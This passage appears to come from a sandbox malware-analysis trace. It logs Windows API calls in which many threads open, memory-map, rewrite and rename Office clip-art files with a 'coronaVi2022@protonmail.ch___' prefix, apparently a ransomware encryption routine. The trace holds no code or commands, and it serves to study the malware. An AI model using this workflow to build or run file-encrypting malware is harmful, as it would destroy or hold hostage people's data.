	[0101.957] free (_Block=0x51f0070) 
	[0101.957] RtlExitUserThread (Status=0x0) 

Thread:
	id = 787
	os_tid = 0x1cac

	[0101.959] _alloca_probe () returned 0x40328a
	[0101.959] GetCurrentThreadId () returned 0x1cac
	[0101.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg", dwFileAttributes=0x80) returned 1
	[0101.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xef8
	[0101.961] GetFileSizeEx (in: hFile=0xef8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=26942) returned 1
	[0101.961] CreateFileMappingA (hFile=0xef8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x694b, lpName=0x0) returned 0xf04
	[0101.961] MapViewOfFile (hFileMappingObject=0xf04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.967] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.967] CloseHandle (hObject=0xf04) returned 1
	[0101.967] GetCurrentThreadId () returned 0x1cac
	[0101.967] FlushFileBuffers (hFile=0xef8) returned 1
	[0101.978] CloseHandle (hObject=0xef8) returned 1
	[0101.979] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386764.jpg") returned 97
	[0101.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386764.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0386764.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0386764.jpg")) returned 1
	[0101.980] free (_Block=0x51f0070) 
	[0101.980] RtlExitUserThread (Status=0x0) 

Thread:
	id = 788
	os_tid = 0x1cb0

	[0101.969] _alloca_probe () returned 0x40328a
	[0101.970] GetCurrentThreadId () returned 0x1cb0
	[0101.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg", dwFileAttributes=0x80) returned 1
	[0101.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf08
	[0101.970] GetFileSizeEx (in: hFile=0xf08, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=51978) returned 1
	[0101.971] CreateFileMappingA (hFile=0xf08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb13, lpName=0x0) returned 0xf0c
	[0101.971] MapViewOfFile (hFileMappingObject=0xf0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0101.985] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0101.985] CloseHandle (hObject=0xf0c) returned 1
	[0101.985] GetCurrentThreadId () returned 0x1cb0
	[0101.985] FlushFileBuffers (hFile=0xf08) returned 1
	[0102.027] CloseHandle (hObject=0xf08) returned 1
	[0102.027] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387337.jpg") returned 97
	[0102.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387337.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387337.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387337.jpg")) returned 1
	[0102.028] free (_Block=0x51f3088) 
	[0102.028] RtlExitUserThread (Status=0x0) 

Thread:
	id = 789
	os_tid = 0x1cb4

	[0102.030] _alloca_probe () returned 0x40328a
	[0102.030] GetCurrentThreadId () returned 0x1cb4
	[0102.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg", dwFileAttributes=0x80) returned 1
	[0102.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0c
	[0102.031] GetFileSizeEx (in: hFile=0xf0c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=27884) returned 1
	[0102.031] CreateFileMappingA (hFile=0xf0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6cf7, lpName=0x0) returned 0xef8
	[0102.031] MapViewOfFile (hFileMappingObject=0xef8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.038] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.038] CloseHandle (hObject=0xef8) returned 1
	[0102.038] GetCurrentThreadId () returned 0x1cb4
	[0102.038] FlushFileBuffers (hFile=0xf0c) returned 1
	[0102.043] CloseHandle (hObject=0xf0c) returned 1
	[0102.043] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387578.jpg") returned 97
	[0102.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387578.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387578.jpg")) returned 1
	[0102.044] free (_Block=0x51f5098) 
	[0102.044] RtlExitUserThread (Status=0x0) 

Thread:
	id = 790
	os_tid = 0x1cb8

	[0102.041] _alloca_probe () returned 0x40328a
	[0102.042] GetCurrentThreadId () returned 0x1cb8
	[0102.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg", dwFileAttributes=0x80) returned 1
	[0102.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf10
	[0102.042] GetFileSizeEx (in: hFile=0xf10, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=39111) returned 1
	[0102.042] CreateFileMappingA (hFile=0xf10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98cd, lpName=0x0) returned 0xf14
	[0102.043] MapViewOfFile (hFileMappingObject=0xf14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.053] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.054] CloseHandle (hObject=0xf14) returned 1
	[0102.054] GetCurrentThreadId () returned 0x1cb8
	[0102.054] FlushFileBuffers (hFile=0xf10) returned 1
	[0102.056] CloseHandle (hObject=0xf10) returned 1
	[0102.056] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387591.jpg") returned 97
	[0102.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387591.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387591.jpg")) returned 1
	[0102.057] free (_Block=0x51f0070) 
	[0102.057] RtlExitUserThread (Status=0x0) 

Thread:
	id = 791
	os_tid = 0x1cbc

	[0102.059] _alloca_probe () returned 0x40328a
	[0102.059] GetCurrentThreadId () returned 0x1cbc
	[0102.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg", dwFileAttributes=0x80) returned 1
	[0102.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf14
	[0102.060] GetFileSizeEx (in: hFile=0xf14, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=47551) returned 1
	[0102.060] CreateFileMappingA (hFile=0xf14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9cd, lpName=0x0) returned 0xf0c
	[0102.060] MapViewOfFile (hFileMappingObject=0xf0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0102.286] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0102.287] CloseHandle (hObject=0xf0c) returned 1
	[0102.287] GetCurrentThreadId () returned 0x1cbc
	[0102.287] FlushFileBuffers (hFile=0xf14) returned 1
	[0102.415] CloseHandle (hObject=0xf14) returned 1
	[0102.437] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387604.jpg") returned 97
	[0102.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387604.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387604.jpg")) returned 1
	[0102.452] free (_Block=0x51f0070) 
	[0102.452] RtlExitUserThread (Status=0x0) 

Thread:
	id = 792
	os_tid = 0x1cc0

	[0102.063] _alloca_probe () returned 0x40328a
	[0102.064] GetCurrentThreadId () returned 0x1cc0
	[0102.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg", dwFileAttributes=0x80) returned 1
	[0102.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf1c
	[0102.068] GetFileSizeEx (in: hFile=0xf1c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=39148) returned 1
	[0102.068] CreateFileMappingA (hFile=0xf1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98f7, lpName=0x0) returned 0xf20
	[0102.068] MapViewOfFile (hFileMappingObject=0xf20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2330000
	[0102.323] UnmapViewOfFile (lpBaseAddress=0x2330000) returned 1
	[0102.323] CloseHandle (hObject=0xf20) returned 1
	[0102.324] GetCurrentThreadId () returned 0x1cc0
	[0102.324] FlushFileBuffers (hFile=0xf1c) returned 1
	[0102.433] CloseHandle (hObject=0xf1c) returned 1
	[0102.438] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387882.jpg") returned 97
	[0102.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387882.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387882.jpg")) returned 1
	[0102.453] free (_Block=0x51f80b0) 
	[0102.453] RtlExitUserThread (Status=0x0) 

Thread:
	id = 793
	os_tid = 0x1cc4

	[0102.070] _alloca_probe () returned 0x40328a
	[0102.070] GetCurrentThreadId () returned 0x1cc4
	[0102.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg", dwFileAttributes=0x80) returned 1
	[0102.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf28
	[0102.071] GetFileSizeEx (in: hFile=0xf28, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=32243) returned 1
	[0102.071] CreateFileMappingA (hFile=0xf28, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7df5, lpName=0x0) returned 0xf2c
	[0102.072] MapViewOfFile (hFileMappingObject=0xf2c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0102.265] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0102.266] CloseHandle (hObject=0xf2c) returned 1
	[0102.266] GetCurrentThreadId () returned 0x1cc4
	[0102.266] FlushFileBuffers (hFile=0xf28) returned 1
	[0102.325] CloseHandle (hObject=0xf28) returned 1
	[0102.325] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387895.jpg") returned 97
	[0102.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0387895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0387895.jpg")) returned 1
	[0102.447] free (_Block=0x51f90b8) 
	[0102.447] RtlExitUserThread (Status=0x0) 

Thread:
	id = 794
	os_tid = 0x1cc8

	[0102.073] _alloca_probe () returned 0x40328a
	[0102.074] GetCurrentThreadId () returned 0x1cc8
	[0102.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg", dwFileAttributes=0x80) returned 1
	[0102.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf34
	[0102.074] GetFileSizeEx (in: hFile=0xf34, lpFileSize=0x36cff5c | out: lpFileSize=0x36cff5c*=13596) returned 1
	[0102.074] CreateFileMappingA (hFile=0xf34, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3527, lpName=0x0) returned 0xf38
	[0102.074] MapViewOfFile (hFileMappingObject=0xf38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0102.280] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0102.280] CloseHandle (hObject=0xf38) returned 1
	[0102.280] GetCurrentThreadId () returned 0x1cc8
	[0102.280] FlushFileBuffers (hFile=0xf34) returned 1
	[0102.415] CloseHandle (hObject=0xf34) returned 1
	[0102.436] _swprintf (in: param_1=0x36c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0390072.jpg") returned 97
	[0102.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0390072.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0390072.jpg")) returned 1
	[0102.451] free (_Block=0x51fa0c0) 
	[0102.451] RtlExitUserThread (Status=0x0) 

Thread:
	id = 795
	os_tid = 0x1ccc

	[0102.076] _alloca_probe () returned 0x40328a
	[0102.077] GetCurrentThreadId () returned 0x1ccc
	[0102.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png", dwFileAttributes=0x80) returned 1
	[0102.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf40
	[0102.079] GetFileSizeEx (in: hFile=0xf40, lpFileSize=0x380ff5c | out: lpFileSize=0x380ff5c*=202883) returned 1
	[0102.079] CreateFileMappingA (hFile=0xf40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31885, lpName=0x0) returned 0xf44
	[0102.079] MapViewOfFile (hFileMappingObject=0xf44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3810000
	[0102.431] UnmapViewOfFile (lpBaseAddress=0x3810000) returned 1
	[0102.433] CloseHandle (hObject=0xf44) returned 1
	[0102.433] GetCurrentThreadId () returned 0x1ccc
	[0102.433] FlushFileBuffers (hFile=0xf40) returned 1
	[0102.443] CloseHandle (hObject=0xf40) returned 1
	[0102.443] _swprintf (in: param_1=0x3809f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400001.png") returned 97
	[0102.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400001.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0400001.png")) returned 1
	[0102.456] free (_Block=0x51f3088) 
	[0102.456] RtlExitUserThread (Status=0x0) 

Thread:
	id = 796
	os_tid = 0x1cd0

	[0102.081] _alloca_probe () returned 0x40328a
	[0102.081] GetCurrentThreadId () returned 0x1cd0
	[0102.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png", dwFileAttributes=0x80) returned 1
	[0102.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4c
	[0102.082] GetFileSizeEx (in: hFile=0xf4c, lpFileSize=0x398ff5c | out: lpFileSize=0x398ff5c*=89417) returned 1
	[0102.082] CreateFileMappingA (hFile=0xf4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15d51, lpName=0x0) returned 0xf50
	[0102.082] MapViewOfFile (hFileMappingObject=0xf50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0102.383] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0102.384] CloseHandle (hObject=0xf50) returned 1
	[0102.384] GetCurrentThreadId () returned 0x1cd0
	[0102.384] FlushFileBuffers (hFile=0xf4c) returned 1
	[0104.400] CloseHandle (hObject=0xf4c) returned 1
	[0104.400] _swprintf (in: param_1=0x3989f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400002.png") returned 97
	[0104.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400002.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0400002.png")) returned 1
	[0104.406] free (_Block=0x51fb0c8) 
	[0104.406] RtlExitUserThread (Status=0x0) 

Thread:
	id = 797
	os_tid = 0x1cd4

	[0102.084] _alloca_probe () returned 0x40328a
	[0102.085] GetCurrentThreadId () returned 0x1cd4
	[0102.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png", dwFileAttributes=0x80) returned 1
	[0102.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf58
	[0102.086] GetFileSizeEx (in: hFile=0xf58, lpFileSize=0x3acff5c | out: lpFileSize=0x3acff5c*=124982) returned 1
	[0102.087] CreateFileMappingA (hFile=0xf58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e83b, lpName=0x0) returned 0xf5c
	[0102.087] MapViewOfFile (hFileMappingObject=0xf5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3ad0000
	[0102.399] UnmapViewOfFile (lpBaseAddress=0x3ad0000) returned 1
	[0102.400] CloseHandle (hObject=0xf5c) returned 1
	[0102.400] GetCurrentThreadId () returned 0x1cd4
	[0102.400] FlushFileBuffers (hFile=0xf58) returned 1
	[0102.442] CloseHandle (hObject=0xf58) returned 1
	[0102.443] _swprintf (in: param_1=0x3ac9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400003.png") returned 97
	[0102.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400003.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0400003.png")) returned 1
	[0102.457] free (_Block=0x51f4090) 
	[0102.457] RtlExitUserThread (Status=0x0) 

Thread:
	id = 798
	os_tid = 0x1cd8

	[0102.089] _alloca_probe () returned 0x40328a
	[0102.089] GetCurrentThreadId () returned 0x1cd8
	[0102.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png", dwFileAttributes=0x80) returned 1
	[0102.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf64
	[0102.090] GetFileSizeEx (in: hFile=0xf64, lpFileSize=0x3c2ff5c | out: lpFileSize=0x3c2ff5c*=105053) returned 1
	[0102.090] CreateFileMappingA (hFile=0xf64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19a69, lpName=0x0) returned 0xf68
	[0102.090] MapViewOfFile (hFileMappingObject=0xf68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c30000
	[0102.368] UnmapViewOfFile (lpBaseAddress=0x3c30000) returned 1
	[0102.369] CloseHandle (hObject=0xf68) returned 1
	[0102.370] GetCurrentThreadId () returned 0x1cd8
	[0102.370] FlushFileBuffers (hFile=0xf64) returned 1
	[0102.434] CloseHandle (hObject=0xf64) returned 1
	[0102.438] _swprintf (in: param_1=0x3c29f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400004.png") returned 97
	[0102.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0400004.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0400004.png")) returned 1
	[0102.454] free (_Block=0x51fc0d0) 
	[0102.454] RtlExitUserThread (Status=0x0) 

Thread:
	id = 799
	os_tid = 0x1cdc

	[0102.091] _alloca_probe () returned 0x40328a
	[0102.092] GetCurrentThreadId () returned 0x1cdc
	[0102.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png", dwFileAttributes=0x80) returned 1
	[0102.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.png" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf70
	[0102.092] GetFileSizeEx (in: hFile=0xf70, lpFileSize=0x3d8ff5c | out: lpFileSize=0x3d8ff5c*=96066) returned 1
